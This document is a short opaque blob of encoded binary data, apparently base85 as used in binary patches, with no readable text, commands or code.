zk$)U2T-0!@Rnr=uJ)&#zMiN@GOr~awzT%n<7BBsq2d^UMX6rd^D_ULSr7)h0DQg9b za+Oa(SmG1n!V|XGtR>uMhyThIt_`4cX^iyb#gPE$`lCEGN}PC!8K=$U2(hX8F1at3 z#bN*v09?$I0c)d}7K)pEHfUMOwQ>eV*z_EgU#=(ps@THxuF~QnpBHI+=pCi3WgP67TNjQlTT2}ORTUb*JIa*vQ~z6PTW@`aOf8l9>vLsj%(xzH8jA?ef^d8$dV*v!%I zge2t5$GXx9PK~>m(vlJUEMbgt(KHxYL}ZA#8J$;}<_;$98jK@NYr4?lC!#+sIs6hj{crg4